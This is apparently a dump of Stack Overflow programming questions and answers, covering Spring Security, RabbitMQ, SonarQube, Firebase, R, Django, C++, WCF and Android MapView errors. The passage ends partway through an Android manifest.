30819556	0	 <p>I believe that the problem is in the <strong>order</strong> of your rules:</p> <pre><code>.antMatchers("/admin/**").hasRole("ADMIN") .antMatchers("/admin/login").permitAll() </code></pre> <p>The order of the rules matters and the more specific rules should go first. Now everything that starts with <code>/admin</code> will require authenticated user with ADMIN role, even the <code>/admin/login</code> path (because <code>/admin/login</code> is already matched by the <code>/admin/**</code> rule and therefore the second rule is ignored).</p> <p>The rule for the login page should therefore go before the <code>/admin/**</code> rule. E.G.</p> <pre><code>.antMatchers("/admin/login").permitAll() .antMatchers("/admin/**").hasRole("ADMIN") </code></pre>
31250986	0	Why there is a duplicated consumer after a connection recovery in RabbitMQ? <p>I am using:</p> <ul> <li>RabbitMQ 3.5.1</li> <li>Java RabbitMQ client</li> <li>Cluster with two RabbitMQ instances</li> </ul> <p>I have a queue that is:</p> <ul> <li>Durable=false</li> <li>Exclusive=false</li> <li>Auto-delete=true</li> <li>Queue mirroring didn't affect the results</li> </ul> <p>In my application there is an asynchronous consumer receiving the messages through a callback. The problem happens when I try to simulate a connection failure by disabling the network communication with the broker. After the connection is restablished the queue (in the web administration interface) is showing two consumers connected with the same consumer tag, but with different port numbers.</p> <p>When I stop the app one of the consumers disappears, but the other one remains connected, thus the queue is not deleted. Is this expected or I do I have to change something to avoid this?</p>
40278534	0	 <p>i think that you have to add following configuration:</p> <pre><code>sonar.forceAuthentication=true ldap.bindDn=[YOURLDAPSERVICEUSER] ldap.bindPassword=[YOURLDAPSERVICEUSERPWD] ldap.user.baseDn=ou=[YOUROU],dc=[DOMAINNAME] ldap.user.request=(&amp;(objectClass=user)(sAMAccountName={login})) </code></pre> <p>you should not change last line but you have to replace parameters which marked with []</p>
29165578	0	 <p>Here's an example, to give you an idea:</p> <pre><code>function recursiveKeyTargeting($array, $target_key, $element_to_add) { foreach($array AS $arr) { if(is_array($arr['key'])) { recursiveKeyTargeting($array['key'], $target_key, $element_to_add); } else if($arr['key'] == $target_key) { $arr[] = $element_to_add; break; } } } </code></pre>
16737371	0	 <p>maybe you can use jquery if loaded to add/remove classes and attributes</p>
14002181	0	 <p>As I mentioned in my comment, <code>$.getJSON</code> is an asynchronous function. The data won't be available immediately after you call it, but after you are done processing the response returned by the server in the <code>success</code> callback.</p> <p>In other words:</p> <pre><code>$('#ss').mlData({ url:'ajax.php', }, function(result,add) { ... /* At his point the data should be available */ /* You can call it onwards */ $('#ss').mlSelect(); }); </code></pre> <p>That's why you can't see the new data.</p>
15315857	0	 <p>BI = new BondImage(this); has not been added to layout view that y its not showing up </p> <p>try</p> <pre><code>setContentView(BI); </code></pre>
31467286	0	NSUserDefaults for high score is not working on iOS 8 Simulator? <p>I've tried to synchronize the saved data but my game still does not store the highest score. I can't find whats wrong with the replacing of the highScore with score if it is higher. Sorry I'm a beginner who just started learning iOS programming.</p> <pre><code>init(size: CGSize, score: NSInteger) { super.init(size: size) self.backgroundColor = SKColor.whiteColor() //To save highest score var highscore = 0 let userDefaults = NSUserDefaults.standardUserDefaults() if (score &gt; highscore){ NSUserDefaults.standardUserDefaults().setObject(score, forKey: "highscore") NSUserDefaults.standardUserDefaults().synchronize() } var savedScore: Int = NSUserDefaults.standardUserDefaults().objectForKey("highscore") as! Int //To get the saved score var savedScore: Int = NSUserDefaults.standardUserDefaults().objectForKey("highscore") as! Int </code></pre>
23949360	0	 <p>If you are referring to the mangled key of <code>files</code> array then it's raw infohash - check out the spec:</p> <ul> <li><a href="https://wiki.theory.org/BitTorrentSpecification#Tracker_.27scrape.27_Convention" rel="nofollow">https://wiki.theory.org/BitTorrentSpecification#Tracker_.27scrape.27_Convention</a></li> <li><a href="http://wiki.vuze.com/w/Scrape" rel="nofollow">http://wiki.vuze.com/w/Scrape</a></li> </ul>
39513341	0	Changing a word document title with Textbox values <p>Im currently making a VBA userform with multiple textboxes. My goal is to make a macro enabled word template that pops up a userform on startup, containing multiple textboxes where the user can input values. </p> <p>I was looking for a way to change the default save title of my word document. I wanted to pass input values from textboxes into the title so that it would look something like this:</p> <blockquote> <p>"Textbox1.Value_Textbox2.Value_Combobox1.Value_Textbox3.Value_....." (Space for the user to personalize the document name)</p> </blockquote> <p>The underscore seperation is very important. </p> <p>I tried setting it with </p> <pre><code> 'WORKS' With Dialogs(wdDialogFileSummaryInfo) .Title = TextBox7.Value .Execute End With </code></pre> <p>With the aim to combine all those textbox values into textbox 7 but i just cant get it to work. Is there any other way to fix this issue?</p>
37841439	0	Running SonarQube against an ASP.Net Core solution/project <p>SonarQube has an MSBuild runner but .NET Core uses dotnet.exe to compile and msbuild just wraps that. I have tried using the MSBuild runner with no success against my ASP.NET Core solution. Using SonarQube Scanner works kind of.</p> <p>Any suggestions on how I can utilize SonarQube with .NET Core? The static code analysis is what I am looking for.</p>
16681086	0	 <p>Yes, you need the group by clause, and you need to use the <a href="http://dev.mysql.com/doc/refman/5.6/en/group-by-functions.html#function_group-concat" rel="nofollow">GROUP_CONCAT</a> function. You should group your results by People.fk_rooms and Thing.fk_rooms.</p> <p>Maybe you could use two different queries: The first will result the join of Rooms and People, grouped by fk_rooms, having selected three columns, they are being RoomsID, RoomName, People, while the second will result the join of Rooms and Thing, grouped by fk_rooms, having selected three columns, they are being RoomID, RoomName, Things. In your query you name these selections as t1 and t2 and join t1 and t2 by RoomsID, select t1.RoomName, t1.People, t2.Things.</p> <p>Good luck.</p>
13424379	0	How do I get browsers to trust self-signed certificates for testing? Website address is slightly different than fully qualified domain name <p>I have a website that is being configured with SSL, and I am using a self-signed certificate for testing purposes, for now. The machine is running Windows 2008 R2 with IIs 7.5 and Apache Tomcat 5.5. </p> <p>The problem is FireFox is gives the error that the connection is untrusted because it's a self-signed certificate and it also says that the site is using an invalid security certificate. I tried importing the certificate into Firefox, to remedy the situation, and it did not help. However, with IE, exporting the certificate from IIS and importing it into the browser's Trusted Root Certificate Authorities store permitted IE to trust the self-signed certificate.</p> <p>It's important to note that the server's fully qualified domain name is webdev.dev.mysite.com, whereas the website address is webdev.mysite.com and I've had no problems with the site under HTTP. And with the help of the site <a href="http://blogs.iis.net/thomad/archive/2010/04/16/setting-up-ssl-made-easy.aspx" rel="nofollow">here</a>, I setup the self-signed certificate such that it's name is webdev.mysite.com.</p> <p>How can I get Firefox to trust the self-signed certificate? </p> <p>Thank you very much for any help.</p>
32888869	0	 <p>Firebase stores a sequence of values in this format:</p> <pre><code>"-K-Y_Rhyxy9kfzIWw7Jq": "Value 1" "-K-Y_RqDV_zbNLPJYnOA": "Value 2" "-K-Y_SBoKvx6gAabUPDK": "Value 3" </code></pre> <p>If that is how you have them, you are getting the wrong type. The above structure is represented as a <code>Map</code>, not as a <code>List</code>:</p> <pre><code>mFirebaseRef = new Firebase(FIREBASE_URL); mFirebaseRef.addValueEventListener(new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { Map&lt;String, Object&gt; td = (HashMap&lt;String,Object&gt;) dataSnapshot.getValue(); List&lt;Object&gt; values = td.values(); //notifyDataSetChanged(); } @Override public void onCancelled(FirebaseError firebaseError) { } }); </code></pre>
38936410	0	planets and star sizes as page scrolls <p>I am a teacher and I am trying to make a page for my students showing the comparative size of the planets and the stars, like in one of those videos that are popular in Youtube.</p> <p>But I have not been able to solve the problem, the closest I got was using "if window.pageXOffset > 1000" animate width etc. but what I really wanted was for the planets and stars (images) to scroll into view at 100% height and then as the page scrolled towards the right, they´d shrink down till 0% when reaching the left border (left=0px), while the next and next planet scrolled into view (showing 3 or 4 at a time) and so forth. The page should allow the user to scroll back and forth at will.</p> <p>I tried the transform: scale method but wasn´t successful either.</p> <p>Any help will be greatly appreciated.</p>
12562777	0	 <p>There is a backport of the <code>functools</code> module from <em>Python 3.2.3</em> for use with <em>Python 2.7</em> and <em>PyPy</em>: <a href="http://pypi.python.org/pypi/functools32">functools32</a>.</p> <p>It includes the <code>lru_cache</code> decorator.</p>
32526621	0	 <p>We can use <code>cut</code> to produce bins and <code>sub</code> to rename them</p> <pre><code>mtcars$dispR &lt;- as.character(cut(mtcars$disp,breaks = seq(0,500,100),right=FALSE)) mtcars$dispR &lt;- sub("\\[(\\d{1,3}).*","\\1+",mtcars$dispR) </code></pre> <p>Then, to add the proportion, we can use <code>questionr::rprop</code></p> <pre><code>library(questionr) rprop(table(mtcars$gear,mtcars$dispR)) 0+ 100+ 200+ 300+ 400+ Total 3 0.0 6.7 33.3 33.3 26.7 100.0 4 33.3 66.7 0.0 0.0 0.0 100.0 5 20.0 40.0 0.0 40.0 0.0 100.0 Ensemble 15.6 34.4 15.6 21.9 12.5 100.0 </code></pre> <p>This second step may be done in base R with <code>addmargins</code></p> <pre><code>t &lt;- addmargins(table(mtcars$gear,mtcars$dispR)) round(t/t[,"Sum"] * 100,1) 0+ 100+ 200+ 300+ 400+ Sum 3 0.0 6.7 33.3 33.3 26.7 100.0 4 33.3 66.7 0.0 0.0 0.0 100.0 5 20.0 40.0 0.0 40.0 0.0 100.0 Sum 15.6 34.4 15.6 21.9 12.5 100.0 </code></pre>
4942312	0	 <p>JS Beautifier will both reformat and unpack:</p> <p><a href="http://jsbeautifier.org/">http://jsbeautifier.org/</a></p>
5332132	0	 <p>Perhaps your UIImageView is not configured to receive user interaction</p> <blockquote> <p>UIImageView has in default userInteractionEnabled set to NO. I would try to change it to YES.</p> </blockquote> <p><a href="http://stackoverflow.com/questions/3005903/uigesturerecognizer-in-a-view-inside-a-uiscrollview">UIgestureRecognizer in a view inside a UIScrollView</a></p>
32731449	0	 <p>Use range.setValues, is the best choice. Works for any range in any sheet, as far as the origin and destination range are similar.</p> <p>Here's a sample code:</p> <pre><code>function openCSV() { //Buscamos el archivo var files = DriveApp.getFilesByName("ts.csv"); //Cada nombre de archivo es unico, por eso next() lo devuelve. var file = files.next(); fileID = file.getId(); //Abrimos la spreadsheet, seleccionamos la hoja var spreadsheet = SpreadsheetApp.openById(fileID); var sheet = spreadsheet.getSheets()[0]; //Seleccionamos el rango var range = sheet.getRange("A1:F1"); values = range.getValues(); //Guardamos un log del rango //Logger.log(values); //Seleccionamos la hoja de destino, que es la activeSheet var ss = SpreadsheetApp.getActiveSpreadsheet(); var SSsheet = ss.getSheets()[0]; //Seleccionamos el mismo rango y le asignamos los valores var ssRange = SSsheet.getRange("A1:F1"); ssRange.setValues(values); } </code></pre>
11624929	0	 <p>Something to do with the exit status returned by Ant in the version I was using (6) as reported by another user <a href="http://jenkins.361315.n4.nabble.com/Ant-build-successful-but-hudson-claims-a-failure-td362339.html" rel="nofollow">here</a>. I "solved" it by upgrading to version 8.</p>
24450377	0	 <p>I managed to sort this so including the answer for anyone else who runs into this error message.</p> <p>The error: <code>unexpected TOK_IDENT</code> basically means that a field referenced in the query doesn't exist in the index.</p> <p>The best way to verify what's in your index is to run the Sphinx CLI using:</p> <pre><code>mysql -P9306 --protocol=tcp --prompt='sphinxQL&gt; ' </code></pre> <p>And run a SELECT * query like:</p> <pre><code>SELECT * FROM your_index_core WHERE sphinx_deleted = 0 LIMIT 0, 20; </code></pre> <p>From here you can see the fields in the index across the top. </p> <p>I can't figure out why they didn't exist in the index - I'd ran <code>rake ts:rebuild</code> multiple times to no avail. In the end I had to stop searchd, manually delete the configuration file and indexes and rebuild from scratch.</p>
7159852	1	Speed up often used Django random query <p>I've got a query set up that puts 28 random records from a database into a JSON response. This page is hit often, every few seconds, but is currently too slow for my liking.</p> <p>In the JSON response I have:</p> <ul> <li>ID's</li> <li>Usernames</li> <li>a Base64 thumbnail</li> </ul> <p>These all come from three linked tables.<br/> I'd be keen to hear of some other solutions, instead of users simply hitting a page, looking up 28 random records and spitting back the response. One idea I had:</p> <ul> <li>Have a process running that creates a cached page every 30 seconds or so with the JSON response.</li> </ul> <p>Is this a good option? If so, I'd be keen to hear how this would be done.</p> <p>Thanks again,<br/> Hope everyone is well</p>
23190912	0	 <blockquote> <pre><code>std::vector&lt;int&gt; a{1,2,4}; </code></pre> </blockquote> <p>This is initializer-list initialization, not aggregate, because <code>vector</code> is not an aggregate — its data is stored on the heap. You need to have <code>#include &lt;initializer_list&gt;</code> for it to work, although that header is typically included from <code>&lt;vector&gt;</code>.</p> <blockquote> <pre><code>a = {1,2,4}; </code></pre> </blockquote> <p>This also goes through a function overloaded on <code>std::initializer_list</code>, and the semantics are the same as the function call:</p> <pre><code>a.assign( {1,2,4} ); </code></pre> <blockquote> <pre><code> int c[3]={1,4}; </code></pre> </blockquote> <p>This <em>is</em> aggregate initialization. However you cannot do <code>c = { 3, 5, 6 }</code> afterward, because the braced-init-lists may only be initializers for new variables, not operands to built-in expressions. (In a declaration, the <code>=</code> sign is just a notation for initialization. It is not the usual operator. Braced lists are specifically allowed by the grammar for assignment operators, but this usage is only valid with function overloading, which causes the list to initialize a new variable: the function parameter.)</p> <p>The answer to your final question is that there's no way to write the necessary <code>operator =</code> overload for "naked" arrays, because it must be a member function. The workaround is to use <code>std::copy</code> and a <code>std::initializer_list</code> object.</p>
26137786	0	 <p>If all the elements to be added were already in the Collection (prior to the call to addAll), and the Collection doesn't allow duplicates, it will return false, since all the individual <code>add</code> method calls would return false. This is true for Collections such as <code>Set</code>.</p> <p>For other Collections, <code>add</code> always returns true, and therefore <code>addAll</code> would return true, unless you call it with an empty list of elements to be added.</p>
24082185	0	 <p>Change the <code>img</code>s <code>display</code> to <code>block</code> </p> <pre><code>a { display:inline-block; } a img { display:block; } </code></pre> <p>See this <a href="http://jsfiddle.net/TLBEx/2/">jsfiddle</a></p> <p>So what does it do? The image inside the link has a default <code>display</code> of <code>inline-block</code>. The a you set to <code>display:inline-block</code>. It's the combination of the two in combination with whitespace inside the <code>a</code> element, that does the problem.</p> <p>You can simulate with two nested <code>inline-block</code> <code>div</code>s which has the dimensions set only on the inner one. <a href="http://jsfiddle.net/TLBEx/4/">http://jsfiddle.net/TLBEx/4/</a></p>
39055242	0	 <p>Try below solution to achieve what you want. </p> <pre><code>viewPager.setClipToPadding(false); // set padding manually, the more you set the padding the more you see of prev &amp; next page viewPager.setPadding(40, 0, 40, 0); // sets a margin b/w individual pages to ensure that there is a gap b/w them viewPager.setPageMargin(20); </code></pre> <p>Whatever padding you want on top and bottom specify in xml file</p> <pre><code>android:paddingTop="30dp" android:paddingBottom="50dp" </code></pre>
38912267	0	Access to PasswordVault fails for user account delegation <p>We are porting a Windows Phone 8.1 app to UWP. In the original app we used PasswordVault (<code>Windows.Security.Credentials</code>) to store user credentials and everything just worked fine. After the porting every operation related to PasswordVault throws exception with the following message:</p> <blockquote> <p>The requested operation cannot be completed. The computer must be trusted for delegation and the current user account must be configured to allow delegation. Failed to open store.</p> </blockquote> <p>If I run the app on my local machine everything is ok, but on the office tablets (with a lot of additional security things like bitlocker, user domains, etc.) the error just shows up.</p> <p>I also tried to create a blank app, and add/retrieve credentials to/from PasswordVault, but the same happened.</p> <p>Any ideas?</p>
2522353	0	 <pre><code>SELECT * from Table1 WHERE (CDATE(ColumnDate) BETWEEN #03/26/2010# AND #03/19/2010#) SELECT * from Table1 WHERE (CINT(ColumnAge) between 25 and 40) </code></pre> <p>Dates are represented in Access between <code>#</code> symbols in <strong><code>#MM/DD/YYYY#</code></strong>. You should really be storing the date as a date field :)</p>
19182502	0	 <p>Not saying this is the most efficient way to do it but it works:</p> <pre><code>List&lt;DrawingData&gt; _DrawingList = new List&lt;DrawingData&gt;(); _DrawingList.Add(new DrawingData() { DrawingName = "411000D", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000D", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000A", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000A", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000C", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000C", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000B", DrawingQty = 1 }); _DrawingList.Add(new DrawingData() { DrawingName = "411000B", DrawingQty = 1 }); var _WithIndex = _DrawingList.Select(x =&gt; new { DrawingData = x, Index = _DrawingList.Where(y =&gt; y.DrawingName == x.DrawingName).ToList().IndexOf(x) }); var _FinalOrder = _WithIndex.OrderBy(x =&gt; x.Index).ThenBy(x =&gt; x.DrawingData.DrawingName).Select(x =&gt; x.DrawingData); Console.WriteLine("Final Sort:"); Console.WriteLine(string.Join("\n", _FinalOrder)); Console.ReadLine(); </code></pre> <p>Get the index of each duplicated item, then sort on that index and then the name.</p> <p>Made it a bit simpler. Can be a single LINQ statement:</p> <pre><code>var _FinalOrder = _DrawingList .Select(x =&gt; new { DrawingData = x, Index = _DrawingList.Where(y =&gt; y.DrawingName == x.DrawingName) .ToList() .IndexOf(x) }) .OrderBy(x =&gt; x.Index) .ThenBy(x =&gt; x.DrawingData.DrawingName) .Select(x =&gt; x.DrawingData); </code></pre>
40699244	0	 <p>You would indeed use whatever server side configuration options are available to you.</p> <p>Depending on how your hosting is set up you could either modify the include path for PHP (<a href="http://php.net/manual/en/ini.core.php#ini.include-path" rel="nofollow noreferrer">http://php.net/manual/en/ini.core.php#ini.include-path</a>) or restricting the various documents/directories to specific hosts/subnets/no access in the Apache site configuration (<a href="https://httpd.apache.org/docs/2.4/howto/access.html" rel="nofollow noreferrer">https://httpd.apache.org/docs/2.4/howto/access.html</a>).</p> <p>If you are on shared hosting, this level of lock down isn't usually possible, so you are stuck with using the Apache rewrite rules using a combination of a easy to handle file naming convention (ie, classFoo.inc.php and classBar.inc.php), the .htaccess file and using the FilesMatch directive to block access to *.inc.php - <a href="http://www.askapache.com/htaccess/using-filesmatch-and-files-in-htaccess/" rel="nofollow noreferrer">http://www.askapache.com/htaccess/using-filesmatch-and-files-in-htaccess/</a></p> <p>FWIW all else being equal the Apache foundation says it is better/more efficient to do it in server side config vs. using .htaccess IF that option is available to you.</p>
28950781	0	 <p>What about:</p> <pre><code>import re lines = ''' &amp; $(-1,1)$ &amp; $(0,\infty)$ ''' matches = re.findall(r'\((.*),(.*)\)', lines) for (a,b) in matches: print "x: %s y: %s" % (a,b) </code></pre> <p>Outputs</p> <pre><code>x: -1 y: 1 x: 0 y: \infty </code></pre> <p>If you catch some weirdness, consider replacing <code>*</code> with <code>*?</code> to make the matching "not greedy".</p>
23450776	1	Python open default terminal, execute commands, keep open, AND then allow user-input <p>I'm wanting to open a terminal from a Python script (not one marked as executable, but actually doing python3 myscript.py to run it), have the terminal run commands, and then keep the terminal open and let the user type commands into it.</p> <p>EDIT (as suggested): I am primarily needing this for Linux (I'm using Xubuntu, Ubuntu and stuff like that). It would be really nice to know Windows 7/8 and Mac methods, too, since I'd like a cross-platform solution in the long-run. Input for any system would be appreciated, however.</p> <hr> <p>Just so people know some useful stuff pertaining to this, here's some code that may be difficult to come up with without some research. This doesn't allow user-input, but it does keep the window open. The code is specifically for Linux:</p> <pre><code>import subprocess, shlex; myFilePathString="/home/asdf asdf/file.py"; params=shlex.split('x-terminal-emulator -e bash -c "python3 \''+myFilePathString+'\'; echo \'(Press any key to exit the terminal emulator.)\'; read -n 1 -s"'); subprocess.call(params); </code></pre> <p>To open it with the Python interpreter running afterward, which is about as good, if not better than what I'm looking for, try this:</p> <pre><code>import subprocess, shlex; myFilePathString="/home/asdf asdf/file.py"; params=shlex.split('x-terminal-emulator -e bash -c "python3 -i \''+myFilePathString+'\'"'); subprocess.call(params); </code></pre> <p>I say these examples may take some time to come up with because passing parameters to bash, which is being opened within another command can be problematic without taking a few steps. Plus, you need to know to use to quotes in the right places, or else, for example, if there's a space in your file path, then you'll have problems and might not know why.</p> <p>EDIT: For clarity (and part of the answer), I found out that there's a standard way to do this in Windows:</p> <pre><code>cmd /K [whatever your commands are] </code></pre> <p>So, if you don't know what I mean try that and see what happens. Here's the URL where I found the information: <a href="http://ss64.com/nt/cmd.html" rel="nofollow">http://ss64.com/nt/cmd.html</a></p>
2481876	0	 <p>The accepted answer here did not work for me. Instead I had to cast the base channel into an IContextChannel, and set the OperationTimeout on that. </p> <p>To do that, I had to create a new file with a partial class, that matched the name of the ServiceReference. In my case the I had a PrintReportsService. Code is below. </p> <pre><code>using System; using System.Net; using System.Windows; using System.Windows.Controls; using System.Windows.Documents; using System.Windows.Ink; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Animation; using System.Windows.Shapes; namespace RecipeManager.PrintReportsService { public partial class PrintReportsClient : System.ServiceModel.ClientBase&lt;RecipeManager.PrintReportsService.PrintReports&gt;, RecipeManager.PrintReportsService.PrintReports { public void SetOperationTimeout(TimeSpan timeout) { ((System.ServiceModel.IContextChannel)base.Channel).OperationTimeout = timeout; } } } </code></pre> <p>Then when I create the client, I do the following:</p> <pre><code> PrintReportsService.PrintReportsClient client = new RecipeManager.PrintReportsService.PrintReportsClient(); client.SetOperationTimeout(new TimeSpan(0, 4, 0)); </code></pre> <p>That did it for me! More info is available <a href="http://final-proj.blogspot.com/2009/09/wcf-timeouts.html" rel="nofollow noreferrer">here</a>, but the code snippet in this post doesn't compile. </p>
4600750	0	Idiomatic usage of filter, map, build-list and local functions in Racket/Scheme? <p>I'm working through <a href="http://htdp.org/2003-09-26/Book/curriculum-Z-H-27.html#node_sec_21.2" rel="nofollow">Exercise 21.2.3</a> of HtDP on my own and was wondering if this is idiomatic usage of the various functions. This is what I have so far:</p> <pre><code>(define-struct ir (name price)) (define list-of-toys (list (make-ir 'doll 10) (make-ir 'robot 15) (make-ir 'ty 21) (make-ir 'cube 9))) ;; helper function (define (price&lt; p toy) (cond [(&lt; (ir-price toy) p) toy] [else empty])) (define (eliminate-exp ua lot) (cond [(empty? lot) empty] [else (filter ir? (map price&lt; (build-list (length lot) (local ((define (f x) ua)) f)) lot))])) </code></pre> <p>To my novice eyes, that seems pretty ugly because I have to define a local function to get <code>build-list</code> to work, since <code>map</code> requires two lists of equal length. Can this be improved for readability? Thank you.</p>
17599894	0	Share current URL of UIWebview to Facebook and Twitter <p>so I want to share the current URL of my webview to facebook and twitter using the social framework in Xcode, can anyone tell me how to do this here is my code</p> <pre><code>- (IBAction)social:(id)sender { UIActionSheet *share = [[UIActionSheet alloc] initWithTitle:@"Pass on the news!" delegate:self cancelButtonTitle:@"OK" destructiveButtonTitle:nil otherButtonTitles:@"Post to Twitter", @"Post to Facebook", nil]; [share showInView:self.view]; } - (void)actionSheet:(UIActionSheet *)actionSheet clickedButtonAtIndex:(NSInteger)buttonIndex { if (actionSheet.tag == 0) { if([SLComposeViewController isAvailableForServiceType:SLServiceTypeTwitter]) { SLComposeViewController *tweetSheet =[SLComposeViewController composeViewControllerForServiceType:SLServiceTypeTwitter]; [tweetSheet setInitialText:@"Check out this article I found using the 'Pass' iPhone app: "]; [self presentViewController:tweetSheet animated:YES completion:nil]; } else { UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Sorry" message:@"You can't send a tweet right now, make sure you have at least one Twitter account setup and your device is using iOS6 or above!." delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil]; [alertView show]; } } } </code></pre>
9762927	0	extracting values to be populated in a dropdown from SQLite database <p>I am developing a web application using ASP.NET MVC and using FluentNHibernate for ORM. I am faced with a situation.</p> <p>I have 8 tables say A,B,C,D,E,F,G,H and each table has say 10 attributes, out of which an average of 5 are lists that have to be populated as dropdowns in the view.</p> <p>Now, these values have to be extracted from the database. I have built individual tables for each dropdown attribute in table A with values, say HighestEducation is an attribute in A and the dropdown values include Undergrad, Masters, Doctorate, etc.</p> <p>I want to build a tightly coupled ADO.NET entity model for that table, but cant seem to do so. Any suggestions on how to get around this one? </p>
1629103	0	Disabling screen minimization animation effect in iPhone: <p>Is it possible to disable the home screen minimize animation effect when user presses the home button on iPhone?. Or can we set our own custom image for minimize animation?</p> <p>Regards ypk</p>
35384569	0	Remove glow from HTML5 canvas drawings? <p>If I draw a green circle on a black background, then draw the same circle in black, a green shadow/glow is left behind. The circle is not actually erased.</p> <p>How do I make it purely black again and remove the glow?</p> <p>I've tried <code>context.shadowColor = "transparent";</code></p> <p>Here is a snippet:</p> <pre><code>context.beginPath(); context.arc(x-1, y-2, 2, 0, 2*Math.PI); context.fillStyle = "#FF0000"; //context.strokeStyle = "#FF0000"; //context.stroke(); context.fill(); context.beginPath(); context.arc(x-1, y-2, 2, 0, 2*Math.PI); context.fillStyle = "#000000"; //context.strokeStyle = "#000000"; //context.stroke(); context.fill(); </code></pre> <p>Here is the full object:</p> <p><a href="https://i.stack.imgur.com/DzfpC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DzfpC.png" alt="enter image description here"></a></p>
10183483	0	InflateException: Binary XML file line #60: Error inflating class com.google.android.maps.MapView <p>I keep on receiving this error and i don't know where this error occurs this the xml file</p> <pre><code>?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;/LinearLayout&gt; </code></pre> <p>And here it is the log cat </p> <pre><code>04-17 02:19:25.556: W/dalvikvm(731): threadid=1: thread exiting with uncaught exception (group=0x4001d800) 04-17 02:19:25.586: E/AndroidRuntime(731): FATAL EXCEPTION: main 04-17 02:19:25.586: E/AndroidRuntime(731): java.lang.RuntimeException: Unable to start activity ComponentInfo{sbn.project.gp/sbn.project.gp.Mainevent}: android.view.InflateException: Binary XML file line #60: Error inflating class com.google.android.maps.MapView 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2663) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2679) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.ActivityThread.access$2300(ActivityThread.java:125) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2033) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.os.Handler.dispatchMessage(Handler.java:99) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.os.Looper.loop(Looper.java:123) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.ActivityThread.main(ActivityThread.java:4627) 04-17 02:19:25.586: E/AndroidRuntime(731): at java.lang.reflect.Method.invokeNative(Native Method) 04-17 02:19:25.586: E/AndroidRuntime(731): at java.lang.reflect.Method.invoke(Method.java:521) 04-17 02:19:25.586: E/AndroidRuntime(731): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868) 04-17 02:19:25.586: E/AndroidRuntime(731): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:626) 04-17 02:19:25.586: E/AndroidRuntime(731): at dalvik.system.NativeStart.main(Native Method) 04-17 02:19:25.586: E/AndroidRuntime(731): Caused by: android.view.InflateException: Binary XML file line #60: Error inflating class com.google.android.maps.MapView 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.createView(LayoutInflater.java:513) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:565) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.rInflate(LayoutInflater.java:618) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.inflate(LayoutInflater.java:407) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.inflate(LayoutInflater.java:320) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.inflate(LayoutInflater.java:276) 04-17 02:19:25.586: E/AndroidRuntime(731): at com.android.internal.policy.impl.PhoneWindow.setContentView(PhoneWindow.java:198) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.Activity.setContentView(Activity.java:1647) 04-17 02:19:25.586: E/AndroidRuntime(731): at sbn.project.gp.Mainevent.onCreate(Mainevent.java:27) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2627) 04-17 02:19:25.586: E/AndroidRuntime(731): ... 11 more 04-17 02:19:25.586: E/AndroidRuntime(731): Caused by: java.lang.reflect.InvocationTargetException 04-17 02:19:25.586: E/AndroidRuntime(731): at com.google.android.maps.MapView.&lt;init&gt;(MapView.java:238) 04-17 02:19:25.586: E/AndroidRuntime(731): at java.lang.reflect.Constructor.constructNative(Native Method) 04-17 02:19:25.586: E/AndroidRuntime(731): at java.lang.reflect.Constructor.newInstance(Constructor.java:446) 04-17 02:19:25.586: E/AndroidRuntime(731): at android.view.LayoutInflater.createView(LayoutInflater.java:500) 04-17 02:19:25.586: E/AndroidRuntime(731): ... 21 more 04-17 02:19:25.586: E/AndroidRuntime(731): Caused by: java.lang.IllegalArgumentException: MapViews can only be created inside instances of MapActivity. 04-17 02:19:25.586: E/AndroidRuntime(731): at com.google.android.maps.MapView.&lt;init&gt;(MapView.java:282) 04-17 02:19:25.586: E/AndroidRuntime(731): at com.google.android.maps.MapView.&lt;init&gt;(MapView.java:255) </code></pre> <p>And here it is the android manifest </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="tt.pp.ss" android:versionCode="1" android:versionName="1.0" &gt; &lt;uses-sdk android:minSdkVersion="8" /&gt; &lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/&gt; &lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/&gt; &lt;application android:icon="@drawable/ic_launcher" android:label="@string/app_name" &gt; &lt;uses-library android:name="com.google.android.maps" /&gt; &lt;activity android:name=".SbnActivity" android:label="@string/app_name" 